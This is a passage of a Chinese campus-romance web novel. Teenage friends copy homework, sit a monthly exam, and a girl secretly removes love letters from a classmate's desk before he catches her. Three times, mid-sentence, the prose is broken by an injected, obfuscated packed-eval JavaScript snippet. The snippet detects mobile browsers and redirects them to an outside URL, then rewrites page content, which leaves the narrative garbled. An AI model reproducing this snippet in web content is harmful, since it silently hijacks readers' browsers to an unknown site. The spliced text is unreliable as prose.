林沉一表情瞬间凝固,急忙看向容吟:“不是这么多吗?我前天带作业去你家的时候你怎么没提醒我?” “你抄的时候,就没觉得数量不对等?” 容吟也很无辜,他一个提供作业的人总不能还要负责检查吧? “我那不以为你额外开小灶嘛!” 放书包里的卷子林沉一能拿的都拿上了,谁能想到还会有遗漏,现在也不知道被他塞在哪个犄角旮旯,只得先找个复印店重新印几张。 “来,林沉一,你摇一下头。” 林沉一不明所以,但还是跟随简悠悠的指令晃了晃。 “听见里面的水声了吗?”简悠悠被他蠢到,甚是无语:“你是不是忘了我们几个是写了作业的,你是打算用修正液全涂了再复印,还是直接交个复印件上去?” 元子衿同情地拍了拍已经石化的林沉一:“我觉得你给美孟买点儿降压药比较管用。” 朋友是什么? 大概就是明明看见你站在悬崖边,还要笑嘻嘻踹一脚的人。 林沉一做作地捂住心口,目光在三人脸上轮番扫过,最后双手合十,冲着两位女生夸张一拜:“拜托带两份煎饼果子!” 话音未落,已经勒着容吟的脖子往前蹿:“快快快!我记得课代表那里还有没写的,趁收作业前还能抢救两张!” · 元子衿拎着两袋煎饼果子晃到教室后门时,正撞见这样一幕。 容吟指尖转着笔,面前摊着的卷面多为选择判断,笔尖在选项间轻巧地跳跃。 林沉一手紧握着笔,照着写满过程的卷子一通狂抄,解字后面密密麻麻一片。 两人中间隔着条楚河汉界似的三八线,线这边是工整排列的ABCD,线那边是张牙舞爪的演算过程。 “两位流水线工人,你们的早餐到了。” 元子衿故意把塑料袋抖得哗啦响,容吟刚好落下最后一笔,指尖一挑,将卷子对折滑到左侧,顺手接过冒着热气的早餐。 校门口前推车摆摊的那家煎饼果子用料足,容吟只是剥开油纸一角,葱香混着酱料的咸香就窜了出来。 林沉一鼻尖不自觉地抽动两下,笔下公式顿时写歪了半截。 “你出去吃,”林沉一头也不抬地甩起手中的涂改液用力摇晃,“你在这太影响生产力了!” 容吟斜睨他一眼,懒得拆穿这过河拆桥的戏码,毕竟十分钟前,某人还扒着课桌哀嚎“求爸爸救我狗命”。 元子衿一把按住林沉一正在狂补的卷子,学着他早上的表情,痛心疾首道:“你的良心不会痛吗?说好的革命友谊呢?” 容吟闻言低笑,眼尾漾起浅浅的弧度。 他慢条斯理地咬了口煎饼,酥脆的声响里混着句:“没事,他人性泯灭也不是一天两天了。” 林沉一此刻根本无暇反驳容吟的毒舌,他正以惊人的手速在卷面上龙飞凤舞,笔尖都快擦出火星子来。 终于,在早自习结束铃声响起的前一刻,他潇洒地将笔甩开,整个人瘫在椅子上长舒一口气。 “活过来了!” · 一中的作息时间表分两种,春夏版和秋冬版,一般简称夏季和冬季。 从夏过渡到冬是以国庆假期为界,区别就是午休时间缩短,上课的时间从下午两点半提前到两点,同时,也增加了第四节课。 今天是执行冬季作息的第一天,三班教室里正上演着集体阵亡。 前排的同学,譬如元子衿,虽强撑着清醒,眼皮却像灌了铅似的不停往下坠,脑袋一点一点的,活像啄米的小鸡仔。 后排的同学,譬如林沉一,课本直直竖起充当掩体,校服往头上一蒙,早已睡得昏天黑地。 而那群被孟美兰耳提面命要以身作则的班干部们也没好到哪儿去,譬如班长穆瓷,看似坐得笔直,实际偷偷用手掐着虎口,这才勉强把哈欠憋了回去。 “噗嘶噗嘶——” 暗号几不可闻地从后方响起,肩膀被人用指尖轻轻一戳,元子衿伸着懒腰往后仰,彦希趁机往她手里塞了包辣条。 讲台上,政治老师板书正写到“遵纪守法”四个大字,元子衿赶忙将手藏在了课桌下。 “顶风作案?” “提神醒脑。” 元子衿坐在第三排,这个距离偷吃带有气味的东西具有一定风险,目测板书还剩一行写完,她往嘴里快速塞了一根,顺手往左边一传,简悠悠行云流水般接过。 老师转回身时,第三排的同学个个正襟危坐,虽然空气中隐约飘着点若有似无的油香,但并不能精准找到来源,停顿了片刻,讲课的声音重新响起。 · 下课后,简悠悠被召唤进了办公室,元子衿和彦希在座位上一边闲聊,一边下着五子棋。 “课上那包辣条是谁的?” 元子衿在草稿纸上画了个圈。 “不知道,许舟给我的。” 彦希在圈旁画了把叉。 辣条传递到元子衿手里时还是鼓鼓囊囊一包,她猜着应该就是从他们这个大组后面传上来的。 课上传递零食一般也讲究一个风险梯度,通常是优先同排,其次再往前,基本上前两排的同学都无缘参与,更不必说坐在讲台两侧VIP席位的两位莲花童子。 “彦希!” 两人正在手画的简易棋盘上杀得昏天黑地,教室前门突然探进一个扎着马尾的脑袋,彦希应声抬头,见是熟人,起身走了过去。 元子衿本以为要等到上课彦希才会回来,将纸笔一收,摸过一旁的星火英语准备背几个单词。 “ambiguous——模糊不清的。” 发音和释义在嘴里默念还没几个来回,彦希一阵风似的卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765411|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了回来,发梢还带着扬起的弧度。 “这么快?” 元子衿食指抵在刚看的那一页,半合上了书。 彦希凑近,神神秘秘地说:“问你个事?” 元子衿抬手,一副“您请说,我洗耳恭听”的表情。 “你能帮忙给容吟送个情书吗?” 元子衿“啊”了一声。 彦希指了指门口,刚来找她的那个女生还站在那里,正绞着手指往这边张望。 “我初中姐妹,刚找我帮忙送情书给容吟,我说我和他不熟,就想着过来问问你,愿不愿意帮忙。” “她怎么不自己……” 元子衿话音未落,彦希无奈抿唇:“嗐,脑补的偶像剧都拍到见家长了,现实里连人正脸都不敢看,今天也不知道怎么……” 藏在书页中的食指无意识地上下摩挲,纸张发出细碎的声响,元子衿忽然觉得窗外的蝉鸣有点吵。 “明天就要月考了,现在送这个,不太好吧?” 元子衿说得为难,彦希却是利落地打了个响指,“懂!我这就去当恶人。” · 简悠悠回到教室时,元子衿正低头捧着本单词书,马尾扫在脖颈后面,露出一小截白皙的皮肤。 想着不打扰她,简悠悠默默取出下节课要用的教材,又过了好一会儿,余光瞥见那本单词书始终停在同页,终于忍不住侧目望去,“干嘛呢你?” 元子衿偏头,一副心不在焉的样子,“没干嘛。对了,美孟找你什么事?” “噢,让我参加新生杯作文比赛。” 得益于简悠悠爱看小说,她的文字功底不错,写起情感类的记叙文更是一把好手。 入学考试上,作文标题是《一道靓丽的风景线》,其他人几乎都是围着自己曾经看过的自然风景开展,简悠悠却是写起了母爱。 诸如“晨光里系围裙的忙碌身影”“夜雨中倾斜向自己的伞面”“黑暗下轻手轻脚捏被角的动作”等,情感细腻的文字看得人潸然泪下,一举拿下作文最高分。 只是事业女强人简书华兼作文主角本人看过以后沉默了很久。 “……你这是给自己又找了个妈?” 不管简悠悠的艺术加工成分有多少,孟美兰都因此相中了她,不论是当自己的语文课代表,还是参加作文比赛。 “好事,你又可以大显身手了。” 看着元子衿眉眼弯弯,简悠悠却没忘她刚才走神的样子。 难不成是去办公室的功夫错过了什么? 两人到底是一起长大,又是一同策划计划的人,不待简悠悠开口,元子衿先坦明了刚刚课间发生的事情。 “做得很好啊,要说是她自己本人给,那我们没有立场拦,但她非要通过你,拒绝也是你的权利。” 简悠悠从来都是站元子衿这边。 阳光透过玻璃窗斜斜洒落,细小的尘埃在空气里悠悠飘荡,元子衿低头揉搓着校服的衣角,布料在她指尖皱起又舒展,半晌过去,才听她又开了口。 “但是我有了一个不成熟的想法,会损害她们的权利。” “什么想法?”简悠悠问。 “当面给容吟的情书他都会拒绝,抽屉里偷偷摸摸塞的那些他又不看。” 元子衿做了个抽拉的动作,指尖在光柱中划过。 “所以——我想把抽屉里的那些给偷了。” 12. 第二计划 许是性格使然,男女生表达情意时,倾向的方式有所不同,男生大都偏向于当面表明,女生更多习惯委婉传达,情书就是其中一种。 也由此,容吟收到情书的次数远大于遇到正面表白。 因为给予不了回应,那些偷偷塞进抽屉的情书他从来都没有看过,就那么一直积攒着,直到最后,被动地悄然处理。 元子衿至今记得中考结束后的那个傍晚,容吟蹲在院子的一个小铁桶前,一封封精心装饰的信笺被他放进去,任由火苗舔舐纸页。 残忍吗? 好像是有点,可就像他说的,有些期待,不如一开始就别给。 未能说出口的心事化成了灰,或许比无望的等待更温柔,至少他让每份心意都完整地保留到了最后一刻,也守护住了陌生人的尊严。 “所以——你这是在杜绝潜在隐患?” 基于元子衿突然兴起的偷情书念头,简悠悠得出这个结论。 元子衿点头:“没错。” 过去,容吟是没有一点想法,所以为自己筑起了一道边界。 如今,他有些蠢蠢欲动,保不准哪天就会拆开情书,进而发展出一段情缘。 “那你偷了以后呢?打算怎么处理?” 简悠悠看着她,双手抱臂到胸前,很好奇这一点。 “当然是先保管好啊。” 元子衿不是情书的发出者也不是接收者,自觉没有资格进行处理,但为了执行第二计划,暂行一下保管之责也不算太过分。 · 下课铃即将响起时,孟美兰敲了敲讲台,底下众人的目光一下集中,她推了推鼻梁上的眼镜,镜片反射出一道锐利的光。 “明天月考,这个我在放假前已经给过通知,就不多说什么。待会儿放学后,最后两排的同学把桌椅靠后墙摆放,前面留下六行七列。” 坐在前排的穆瓷被点名。 “穆瓷,你负责监督排座位,等会儿带着值日生贴考号,都统一贴在桌面左上角。” 考号的顺序是入学考试的成绩排名,容吟和元子衿在第二考场,简悠悠第三,林沉一第四。 三班作为第三考场,只有简悠悠一人留在本班。 元子衿几人是走读,但抽屉里存放的东西没比住宿生少,她和简悠悠的桌椅在前排作考试用,抽屉需要清空。 “都在这儿了?” 容吟的目光在桌面上巡梭。 套着透明书壳的课本边角平整如新,莫兰迪色系的笔袋塞得满满当当,抽纸包装上的印花清晰可见,还有一个装着零碎物件的小盒子,每样物品都因窗外的余晖镀上了一层淡金色的轮廓。 “嗯,抽屉都空了。” 元子衿边说边从小盒子里摸出两根草莓棒棒糖,塑料包装在她指尖发出窸窣的声响,她利落地拆开一根含进嘴里,另一根分享给了她的劳动力。 容吟张嘴接过糖果,下颌微不可察地点了点,然后俯身抱起那摞物件,走到教室后排。 将它们都归置进自己的抽屉,他单手拎起椅子倒扣在桌面上,整套桌椅被靠墙摆放好,利落稳当。 走出教室后,四人分成两路。 元子衿陪着简悠悠去找江煦,容吟和林沉一先去操场。 一中月考的试卷是老师们自己出,喜欢整得稀奇古怪,江煦特意给简悠悠带了去年考过的作为参考。 秉承着不吃独食的原则,简悠悠准备拿去复印几份分给小伙伴,她计划和元子衿先一起拿卷子去复印,然后再和另外两人汇合一同回家。 “我……就不用了吧?” 林沉一很有自知之明,知道他这佛脚抱不抱都差别不大,平白多拿回家一套试卷又不看,反而增添几分罪恶感。 元子衿微微一笑,老气横秋地拍了拍他的肩膀:“小伙汁,要对自己有点信心,毕竟你的进步空间——” 她手指在空气中画了个大大的圆,“有这么大呢!” · 高二一班的教室里,物理老师仍沉浸在电磁场的推导中,粉笔在黑板上疾书,密密麻麻的公式像藤蔓般爬满整面墨绿。 简悠悠拽着元子衿的袖口,两人像做贼似的猫着腰躲在后门边。 “真能拖堂,不愧是理科实验班。” 简悠悠撇撇嘴,拉着元子衿悄悄退到走廊栏杆边,夕阳将两人的影子拉得很长,在教学楼的白墙上交错重叠。 元子衿趴在栏杆上,看着天边的云霞被染成橘红色,简悠悠歪着头靠在她肩上,发丝间飘来淡淡的洗发水香气。 “你要不要先去办事?”简悠悠问。 元子衿计划等三班教室里的人先做完卫生,然后再溜回去偷容吟的情书。 “没事,陪你等到江煦出来吧,反正他们还要贴考号。”她咬着棒棒糖的塑料棍,糖球在左腮鼓起一个小包。 一开始,她也考虑过等月考结束,借着搬回东西的机会来个浑水摸鱼,但转念一想,那么多书本杂物,容吟肯定会再次主动帮忙搬运,更何况那时全班都要挪动桌椅,稍有不慎就会露出马脚。 “还是今天最合适。” 她无意识地用指尖敲打着栏杆,金属的凉意透过皮肤传来。 两个女生的脑袋挨在一起,发丝被晚风撩起又落下,直到江煦他们班教室里突然爆发出一阵桌椅挪动的嘈杂声,金属腿与地砖摩擦发出刺耳的声响,投在墙上交叠的一双影子才随着涌出教室的人流被冲散。 · 高二和高一在同一栋教学楼,回到自己年级的这条走廊时,耳边像是自动调小了音量键,明显清静许多。 元子衿从后门走进教室时,穆瓷正独自站在空调柜机前的桌椅旁,指尖捏着几张没贴完的考号。 “你还没收工呢?” 元子衿的声音在空荡的教室里激起轻微回响,穆瓷闻声抬头,旋即浅浅一笑,“快了,还有几个人。” 元子衿的目光投向讲台,那里孤零零地躺着一个浅色书包。 “怎么留你一个人干活?”她一时没记起今天值日生的名字,用了人称代词,“他跑了?” “没,是我刚放学那会儿有道题要问老师,怕耽误时间,就和他先分了工,他负责在后面粘双面胶,我负责贴上去。” 穆瓷一边解释,一边不忘继续手里的工作,“你呢,怎么回来了,落下东西了吗?” “嗯,错题本没拿。” 元子衿说的是实话,这也是她事先准备好的。 元子衿将书包搁在最后一排的课桌上,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765412|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身走向黑板报下方那片凌乱的桌椅群。 她记得容吟的桌椅放在了左下角位置,但眼前这套分明不是他的,因为桌角边缘处没有那个小小的涂鸦,一个之前她随手画的猪头。 “你是把自己的桌椅往后拖了,还是东西放别人抽屉了?” 坐在穆瓷周围的几个住宿生杂七杂八的物件有点多,为避免挪来挪去回头找不着,索性和后排同学打了商量,所以有不少桌椅是做了调换。她怕元子衿找不着,特意过来解释。 “我放容吟抽屉了,他是拖在了后门这一块儿,没事,我慢慢找。” 元子衿话音刚落,就听穆瓷说:“他的吗?”她往黑板报中间位置指了指,“他的在那里。” 元子衿踮脚倾身看了眼,和那个猪头成功相认,“还真是。谢谢你,你记性真好。” 虽然桌椅位置变了,但幸运的是只需要挪开挡在前面的那一套,元子衿婉拒了穆瓷想要帮忙的好意。 因为抽屉被塞满,单单只是桌子,分量也不轻,俯身抓住桌沿时,元子衿的指节因用力而凸显,拖动时不可避免地与地面发出了沉闷的摩擦声。 额前的碎发随着动作轻轻晃动,有一缕不听话地滑到了她的脸颊边。 元子衿将挡在前方的桌椅挪开后,又费了些力气把容吟的桌椅调转方向,吁气感叹“早知道就不偷了”的同时,抬手给自己扇了扇风。 随手从自己的那摞书本上方抽出两本,元子衿佯装翻找,余光却是紧锁着穆瓷的动向。 注意到穆瓷走向讲台疑似准备拿包时,她立刻低下头,将手中的书页翻出哗啦啦的声响。 “元子衿,你找到了吗?要不要我等你一起下去?” 穆瓷的声音从讲台方向传来,“天色有些晚了。” “啊,没事,待会儿我有伴儿。” 怕穆瓷误会她的意思,元子衿又解释:“主要是我还没找到,你先走吧,路上注意安全。” 穆瓷若有所思地看了她一眼,背上书包道别:“好,那再见。” 元子衿保持着翻书的姿势,直到脚步声彻底消失,她才合上书本,指尖轻轻敲打着封面,又过了几秒,终于将目光再次投向抽屉。 为了腾出一半抽屉,容吟将几封情书整齐地码放在最里侧,这样既合理利用了空间,又避免了取书时不小心带出的尴尬,只是这却苦了元子衿,当她终于把情书都取出来时,整个抽屉已经被清空了大半。 包装情书的信封大多是粉色调,但每一封都有一些别出心裁的小心思,或是加了金色的烤漆,或是粘上自制的干花标本,哪怕只是简简单单写了“容吟收”三个字,都特别的工整隽秀。 “可恶!”元子衿忍不住小声嘀咕:“凭什么他收到的情书都这么精致!这要是给我的就好了!” 回想起自己收到过的那些,其中一封甚至是用印着“芙城一中”抬头的信纸写的,潦草就不提了,当时她只觉得这人是真不把学校放眼里。 毕竟只是代为保管,元子衿小心翼翼地整理着这些情书,生怕折损了女孩们的心意,正当她在心里默默道歉时,一道修长的影子忽然从身后笼罩下来,熟悉的嗓音也在耳畔响起,惊得她差点跳起来。 “你拿着我的情书——是要干嘛?” 13. 第二计划 操场上零星几个投篮的身影,拍球声在空旷的场地里显得格外寂寥,林沉一捡起滚到脚边的篮球,在指尖转了个圈。 “考试,不愧是人类各项活动的最佳劝退法宝。” 盘算着两个女生拿到卷子再去复印,应该也就十来分钟的事,容吟和林沉一没有下场摸球,而是坐在了场边闲聊。 将篮球抛回场内,林沉一猛地拍了下大腿:“靠,我好像把错题本落教室了!” 看着容吟嘴角扬起一抹似有若无的弧度,林沉一猜着这家伙肯定没憋着什么好话,他抢先抬手,做了个打住的手势:“哥,您歇着,我去去就回。” 他刚撑起身子,冷不防被一只骨节分明的手按住肩膀,容吟不知何时已经站了起来。 “我去。” 简短的两个字惊得林沉一瞪大眼睛。 “啥?”他掏了掏耳朵,“容校友今天转性了?” 容吟没搭理他的调侃,只是用脚尖轻轻点了点地上的书包,示意他看好。 林沉一低头,看了一眼被留下的书包,通体的黑色,唯独上面的草莓挂件特别打眼。 容吟并非突然转性,只是太清楚林沉一那拖泥带水的性子,说是去去就回,实际在一楼的镜面消火栓前也能摆弄好几分钟发型,还有就是—— 有些记挂某个正在当电灯泡的人。 简悠悠和江煦在校内相处的时间虽不多,但情侣之间一旦碰面,即便是仍和朋友手挽手,也能自动形成一道别人融不进的甜蜜结界。 他知道从教学楼去复印室也不过几分钟路程,但还是不可避免地想照顾某人的情绪。 容吟三步并作两步地踏上楼梯,台阶的瓷砖在白炽灯下泛着冷白的光。 转角处,恰巧碰见下楼的穆瓷,两人的视线在空中短暂相接。 穆瓷稍稍颔首,嘴角挂着恰到好处的微笑,容吟点头致意,脚下的步伐没有停止。 他们之间不过点头之交,连寒暄都显得客套而生疏。 擦肩而过时,容吟满脑子都是某人可能正无聊揪着衣角揉搓的样子,自然没注意到穆瓷眼中一闪而过的亮光,以及随即黯淡下去的眼神。 穿堂风一瞬而过,带走了一道消失在拐角的身影,也带走了一声几不可闻的叹息。 · 门边的身影不知是何时出现的,逆光中,容吟的轮廓被镀上一层金边。 他单手插兜站在那里,目光落在元子衿手中那叠粉色的信封上,眉梢微微挑起。 “你怎么回来了?!” 元子衿的脸上是肉眼可见的慌乱,容吟走近了些,不答反问:“那你又怎么一个人在这里?还——拿着我的情书?” 元子衿脚边散落着一堆翻得乱七八糟的书籍,都是刚才找情书时随手丢出来的,幸而她把错题本放在了最上面,一眼就能看出。 “我忘拿错题本了,”她特意指了指,“就没跟着悠悠去复印室。至于你的情书……就、就是……正好翻出来了,然后欣赏了一下。嗯,挺好的,这些女孩子都很用心。” 后面絮絮叨叨的点评容吟没怎么听,就抓住了开头的重点:“你也忘拿错题本了?” 这个也字,就很有灵性,元子衿立刻会意:“林沉一的也忘拿了?” 她急忙抿住嘴唇,生怕泄露出笑意。 这下可好,忘拿错题本的借口更完美了。 然而暗自得意还没两秒,元子衿忽然意识到什么。 “等等,”她狐疑地眯起眼睛:“他忘拿错题本,为什么是你上来拿?” 容吟喉结微动,还没想好托词,就听元子衿已经气鼓鼓地下了结论:“他太过分了!” 她是真有些恼了,要是来的是林沉一那个单细胞生物,她也不用那么尴尬,而且随便编个理由就能糊弄过去,哪用得着像现在这样绞尽脑汁? 她的手无意识地握成了拳,嘴巴也噘得老高,容吟看着她这副模样,眼底掠过一丝笑意。 他蹲下身,帮着一起收拾地上的杂物。 “行了,东西拿了就走,还准备在这通宵呢。” 容吟三下五除二地将书本整理好,倒是元子衿,忽然觉得自己手里拿着的那几封情书成了烫手山芋。 “那……这些呢?”她往他眼前举了举。 目光在几封情书上掠过,容吟没有过多思考,直言:“都翻出来了,就带回家吧。” 元子衿脱口而出:“你不是要烧了吧?!” 这可太罪过了,原本这些情书就被爱判处终生孤寂,经她一折腾,死刑还提前了! “不行!你不能今天处理!” 容吟没打算今天就处理这些情书,他爸妈这两天都在家,要是被他们看见,免不了又要被调侃一番,只是此刻看着元子衿这么激动,一下起了逗弄的心思。 “为什么不能今天处理呢?”他故意放慢了语速。 “因为……因为原本你是不会在今天处理它们的,但是我不小心翻出来,导致了它们提前进火葬场。你如果今天处理了它们,那我罪过多大啊,我这良心不安就会影响睡眠,睡眠不好就会影响月考,月考不好就影响我们家庭安定,家庭……” 元子衿越编越顺溜,顺溜到最后,万恶之源反而成了容吟。 他喉间溢出一声轻笑:“元子衿,你这甩锅的本事挺强啊。” 元子衿嘿嘿一笑:“那你今天不会处理了吧?” 容吟点头:“嗯,给你个面子。” “那……你会看吗?” 她问得轻描淡写,视线却开始飘忽,一会儿瞄向天花板的角落,一会儿又瞟过走廊外的天空,像是在遮掩什么小心思,但又传递出“我也就是随便一问,你不要想太多”的意思。 容吟忽然倾身向前,低声反问:“你希望我看吗?” 两人之间的距离骤然缩短,近到她能闻到他校服上淡淡的薄荷香气,近到她能数清他睫毛有几根投下了阴影。 她的心跳乱了节奏一般加速,咚咚咚的声音快要冲破耳膜,眼睫不受控制地轻颤,像被惊扰的蝴蝶翅膀。 “当……当然不希望了!” 元子衿猛地别过脸去,声音不自觉地提高了八度,“你是不是忘了明天还要月考!” 她将那几封情书看也不看地往容吟怀里一塞,手忙脚乱起身,拿过错题本后,踉跄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765413|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着扑向书包的方向。 容吟慢条斯理地将一地狼藉恢复了原样,又把林沉一的错题本翻出来拿在了手上,起身时,顺手拂去了裤子上并不存在的灰尘。 踱到元子衿身边,看着她故作镇定地往书包里塞书本的样子,笑说:“行,不看,也给月考一个面子。” · 粉红色的情书就这么直接拿在手上太过晃眼,兜兜转转还是进了元子衿的书包。 简悠悠在教学楼下看见容吟时,瞳孔瞬间扩张了一下。 将手中复印好的卷子递给元子衿时,用口型偷偷问话:被抓了? 元子衿嘴角向下耷拉,这个微表情让简悠悠立刻会意,她没有多问,面不改色地将剩下的卷子也分给容吟一份。 江煦原本安静地站在简悠悠身侧,见她已经和朋友汇合,准备离开,元子衿见状,忙开口:“没事儿,你还可以陪她再聊会儿,走到操场门口都行。” 话落,她一把拽住容吟的衣摆,将人往自己这边带了带,四人之间一下隔出一段距离。 “原来助听器长那个样子呀,你以前见过吗?” 元子衿和江煦没打过交道,陪着简悠悠在他们班外面等着的那会儿也是没见到人就走了,刚刚说话时,才算是正儿八经第一次见面。 个子高,清爽干净,站在简悠悠身边时自然地微低着头,结合简悠悠之前给他加的夸夸滤镜,元子衿觉得江煦确实不错。 只是她对着姐妹的对象也没有太多探究欲,悄悄打量没两秒,注意力倒是被耳边那个助听器给吸引了去。 容吟摇头:“没有。” 不确定是有意还是无意,简悠悠最初和他们聊天讨论起江煦时,并没有提及过他需要佩戴助听器一事。 当然,这也没什么大不了,他并不会因为这个原因对人有偏见,而简悠悠也不会在意他的偏见,只是他的脑海里不可避免地想到了四个字,现实问题。 虽然两人都是单亲家庭,跟着妈妈生活,但对他们托举的程度并不在同一水平线。 简书华看似对简悠悠实行放养教育,但她明确知道最适合简悠悠走的是什么路。 容吟曾经偶然听到过几位家长讨论这些,也是那时,他第一次得知了简书华有让简悠悠出国读书的打算。 余光里,江煦正低头听简悠悠说话,侧脸在已经亮起路灯的照耀下显得格外柔情。 容吟的目光先是落在他洗得发白的球鞋上,又移向了简悠悠腕间那条价值不菲的手链。 两条截然不同的成长轨迹,此刻在校园小径上短暂交汇,却终究要奔向不同的远方。 快到操场门口时,元子衿远远就瞧见了正在看球的林沉一,她还记着刚刚在教室发生的事,双眼一眯,嘴角一撇,把背上的书包卸下,递给了容吟。 她一路轻手轻脚地过去,琢磨着吓唬一下对方,她不知道自己在光下的影子早已暴露,林沉一“哇”地一声顶着个鬼脸回头,反吓得她一个激灵。 两人瞬间闹作一团,兜着圈子拳打脚踢。 容吟无声地看着,突然很想知道,在那个无忧无虑的小脑袋里,是否也思考过这些现实的距离。 14. 第二计划 两天半的月考一晃而过,各科老师加班加点地批改完了试卷,鲜红的分数朝脸上甩出耳光时,底下众人的嘴噘成了个W。 不过这当中,没有包括元子衿。 俗话说,情场失意,考场得意。 这次月考她稳定发挥,且有所进步,在第二考场时,容吟是坐在她前方,然而下次,她已经跻身进入第一考场。 瞅瞅这成绩! 两个谈恋爱的,还有一个想谈恋爱的,要不怎么说智者不入爱河,元子衿突然就觉得,自己执行第二计划简直功德无量,等将来容吟醒悟过来,还不得千恩万谢自己的英明决断? 她的嘴角越翘越高,眼看就要和窗外太阳肩并肩,左手边的简悠悠终于看不下去了,用笔帽戳了戳她的胳膊。 “宝贝,我知道你考得好,但能不能收敛一点?这个班里是没有你在乎的人了吗?” 简悠悠其实也算稳定发挥,只是没有进步就是一种退步,所以仍处于孟美兰无差别的扫射范围。 如果将读书的日子比作一根烤串,那么上头的食材必然是荤素搭配,要说在月考这片蔬菜前的荤是国庆假期,那么后就当属校运会了。 继孟美兰训斥、勉励和鼓舞的流程都走过一遍后,在铃响之前,她公布了这则通知。 “学习的事不是一蹴而就,咱们慢慢来,校运会就在两周后,这个大家抓点紧,项目都要报满,都积极主动点。下课。” 孟美兰走后,教室一下炸开锅,好似憋了整节课的气终于得以吁出,可惜有一个人又憋上了另一口气——那就是体育委员。 从接过报名表起,许舟已经预见了未来两天自己费尽口舌求人的场景。 校运会美好吗? 答案毋庸置疑,开心地吃吃喝喝,光明正大地使用手机,毫无负担地放松两天身心,请问谁还想去各个项目上挥洒汗水呢? 威逼利诱、低声下气,历经两天坚持不懈的抓壮丁行为后,报名表上的名字终于超过半壁江山,而剩下的半壁,都是女生的项目。 “三位美女,行行好,报个校运会呗?小弟我在这里给你们磕一个。” 两根手指原本是立在桌面上,许舟说完,“扑通”跪地,活像古装剧里请命的忠臣。 他和班里的女生还大都不熟,也就是抓着男生报名时让他们顺便帮着问了问自己的同桌,这个顺便的效果十分一般,报名表上属于女生的部分空空荡荡,只有两三个名字可怜巴巴挂着。 元子衿几人坐在他周围,原本是留着当作最后的希望,不承想,结果成了最初的梦想。 彦希作为同桌,第一个给面子接过报名表,扫了一眼后,她挑眉问道:“你这还有什么项目缺人?” 许舟露出一个比哭还难看的笑容:“你应该问哪个项目不缺人。” “得,那换个问法——”彦希将报名表转了个方向,“哪些项目能速战速决?早死早超生那种。” 许舟眼睛一亮,立刻掰着手指数起来:“铅球,扔完就能撤!跳高,摔垫子就完事!跳远,三步搞定!” 每说一个项目,他就往前凑一点,活像个推销健身卡的教练。 彦希没说话,倒是元子衿仔细听完,撇了撇嘴:“我怎么觉得,都是些不让人待见的项目。” 简悠悠点头同意:“的确,听着就不美观。” 铅球重,虽说一扔就完事,但扔出去的时候得龇牙咧嘴吧。 跳高要越杆,这往垫子上一摔,怎么也得四仰八叉。 跳远在坑里,没跳进去尴尬,跳进去吃一嘴沙。 元子衿一通分析下来,三个女生一致认为这就是形象毁灭大赛。 “姐,不带你这么拆台的啊,这校运会哪里有那么完美的项目!” 就冲彦希刚开口问的话,许舟就知道跑步类的她们更不会愿意。 好说歹说,三位女生还是应下了这三个项目,为了公平起见,采取了抽签的方式决定。 最后,元子衿抽中铅球,简悠悠抽中跳远,彦希抽中跳高。 · 元子衿嘴上嫌弃铅球时那叫一个振振有词,可真签了报名表,反倒较起真来。 “横竖都要在大家面前表演面目狰狞了,至少成绩得对得起我这表情管理。” 简悠悠觉得很有道理,决定也练练跳远,毕竟高二也会参加校运会,她不能在江煦心里留下一个“又丑又菜”的形象。 放学后,元子衿去了趟体育馆。 简悠悠练习跳远,可以就地练习,但她需要道具。 “老师好,我需要借一个铅球做练习。” 器材室的值班老师推了推眼镜,从登记簿上抬起头,“行,先做个登记。” 说完,转身去里面的架子上取下一个锃亮的铅球。 元子衿在登记簿上写下自己的姓名班级,抬头时,注意到墙上新贴的安全须知。 【铅球练习需在指定区域,严禁随意对空抛投。】 鲜红的标语格外醒目,值班老师顺着她的视线解释道:“校运会前器材使用频繁,学校特意加强了管理。” 他把铅球递过来时又叮嘱道:“注意动作规范,小心扭伤啊。” 元子衿走到铅球练习的指定区域时,容吟已经在那等着,练习的人不多,就两三个,但都是女生。 “林沉一去悠悠那边了吗?” 容吟坐在了边界线外的地上,走到他身旁后,元子衿脚尖踢了踢他的。 “嗯,他说要去偷拍简悠悠的丑照。” 元子衿倏地一下蹲下身,开始搜寻容吟的手机。 “你手机放哪儿了?你不会也准备趁我练习的时候偷拍吧!” 容吟任由她眼睛四处打量,嘴角牵了牵,“本来是没打算的,既然你诚挚邀请,”他故意拖长音调:“也不是不能——” “容!吟!” 元子衿没等他说完,伸手去掐他胳膊,男生早有预料般侧身避开,却还是被她揪住了袖口。 “疼疼疼——” 容吟装模作样地皱眉,眼底却盛满笑意,元子衿这才发现自己的手指正贴着他手臂内侧最柔软的地方,触感温热。 “算了,要拍就拍吧。” 